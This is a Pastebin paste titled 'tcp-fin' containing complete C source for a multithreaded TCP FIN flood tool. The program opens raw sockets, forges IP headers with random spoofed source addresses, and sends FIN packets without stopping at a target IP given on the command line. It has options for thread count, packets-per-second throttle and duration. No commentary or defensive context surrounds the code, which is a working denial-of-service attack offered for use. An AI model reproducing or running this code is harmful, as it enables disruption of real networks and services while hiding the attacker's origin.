Advertisement
xttpx

tcp-fin

Jul 10th, 2017
11,863
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.89 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/tcp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17. #define MAX_PACKET_SIZE 4096
  18. #define PHI 0x9e3779b9
  19. static unsigned long int Q[4096], c = 362436;
  20. volatile int limiter;
  21. volatile unsigned int pps;
  22. volatile unsigned int sleeptime = 100;
  23. void init_rand(unsigned long int x)
  24. {
  25.     int i;
  26.     Q[0] = x;
  27.     Q[1] = x + PHI;
  28.     Q[2] = x + PHI + PHI;
  29.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  30. }
  31. unsigned long int rand_cmwc(void)
  32. {
  33.     unsigned long long int t, a = 18782LL;
  34.     static unsigned long int i = 4095;
  35.     unsigned long int x, r = 0xfffffffe;
  36.     i = (i + 1) & 4095;
  37.     t = a * Q[i] + c;
  38.     c = (t >> 32);
  39.     x = t + c;
  40.     if (x < c) {
  41.     x++;
  42.     c++;
  43.     }
  44.     return (Q[i] = r - x);
  45. }
  46. unsigned short csum (unsigned short *buf, int count)
  47. {
  48.     register unsigned long sum = 0;
  49.     while( count > 1 ) { sum += *buf++; count -= 2; }
  50.     if(count > 0) { sum += *(unsigned char *)buf; }
  51.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  52.     return (unsigned short)(~sum);
  53. }
  54. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  55.     struct tcp_pseudo
  56.     {
  57.     unsigned long src_addr;
  58.     unsigned long dst_addr;
  59.     unsigned char zero;
  60.     unsigned char proto;
  61.     unsigned short length;
  62.     } pseudohead;
  63.     unsigned short total_len = iph->tot_len;
  64.     pseudohead.src_addr=iph->saddr;
  65.     pseudohead.dst_addr=iph->daddr;
  66.     pseudohead.zero=0;
  67.     pseudohead.proto=IPPROTO_TCP;
  68.     pseudohead.length=htons(sizeof(struct tcphdr));
  69.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  70.     unsigned short *tcp = malloc(totaltcp_len);
  71.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  72.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  73.     unsigned short output = csum(tcp,totaltcp_len);
  74.     free(tcp);
  75.     return output;
  76. }
  77. void setup_ip_header(struct iphdr *iph)
  78. {
  79.     iph->ihl = 5;
  80.     iph->version = 4;
  81.     iph->tos = 0;
  82.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  83.     iph->id = htonl(54321);
  84.     iph->frag_off = 0;
  85.     iph->ttl = MAXTTL;
  86.     iph->protocol = 6;
  87.     iph->check = 0;
  88.     iph->saddr = inet_addr("192.168.3.100");
  89. }
  90. void setup_tcp_header(struct tcphdr *tcph)
  91. {
  92.     tcph->source = htons(5678);
  93.     tcph->seq = rand();
  94.     tcph->ack_seq = 1;
  95.     tcph->res2 = 0;
  96.     tcph->doff = 5;
  97.     tcph->fin = 1;
  98.     tcph->window = htons(65535);
  99.     tcph->check = 0;
  100.     tcph->urg_ptr = 0;
  101. }
  102. void *flood(void *par1)
  103. {
  104.     char *td = (char *)par1;
  105.     char datagram[MAX_PACKET_SIZE];
  106.     struct iphdr *iph = (struct iphdr *)datagram;
  107.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  108.     struct sockaddr_in sin;
  109.     sin.sin_family = AF_INET;
  110.     sin.sin_port = htons (rand() % 20480);
  111.     sin.sin_addr.s_addr = inet_addr(td);
  112.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  113.     if(s < 0){
  114.     fprintf(stderr, ":: cant open raw socket. got root?\n");
  115.     exit(-1);
  116.     }
  117.     memset(datagram, 0, MAX_PACKET_SIZE);
  118.     setup_ip_header(iph);
  119.     setup_tcp_header(tcph);
  120.     tcph->dest = htons (rand() % 20480);
  121.     iph->daddr = sin.sin_addr.s_addr;
  122.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  123.     int tmp = 1;
  124.     const int *val = &tmp;
  125.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  126.     fprintf(stderr, ":: motherfucking error.\n");
  127.     exit(-1);
  128.     }
  129.     init_rand(time(NULL));
  130.     register unsigned int i;
  131.     i = 0;
  132.     while(1){
  133.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  134.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  135.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  136.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  137.     tcph->seq = rand_cmwc() & 0xFFFF;
  138.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  139.     tcph->check = 0;
  140.     tcph->check = tcpcsum(iph, tcph);
  141.     pps++;
  142.     if(i >= limiter)
  143.     {
  144.     i = 0;
  145.     usleep(sleeptime);
  146.     }
  147.     i++;
  148.     }
  149. }
  150. int main(int argc, char *argv[ ])
  151. {
  152.     if(argc < 5){
  153.     fprintf(stderr, "Invalid parameters!\n");
  154.     fprintf(stdout, "Usage: %s <IP> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
  155.     exit(-1);
  156.     }
  157.     int num_threads = atoi(argv[2]);
  158.     int maxpps = atoi(argv[3]);
  159.     limiter = 0;
  160.     pps = 0;
  161.     pthread_t thread[num_threads];
  162.     int multiplier = 20;
  163.     int i;
  164.     for(i = 0;i<num_threads;i++){
  165.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  166.     }
  167.     fprintf(stdout, ":: sending all the packets..\n");
  168.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  169.     {
  170.     usleep((1000/multiplier)*1000);
  171.     if((pps*multiplier) > maxpps)
  172.     {
  173.     if(1 > limiter)
  174.     {
  175.     sleeptime+=100;
  176.     } else {
  177.     limiter--;
  178.     }
  179.     } else {
  180.     limiter++;
  181.     if(sleeptime > 25)
  182.     {
  183.     sleeptime-=25;
  184.     } else {
  185.     sleeptime = 0;
  186.     }
  187.     }
  188.     pps = 0;
  189.     }
  190.     return 0;
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement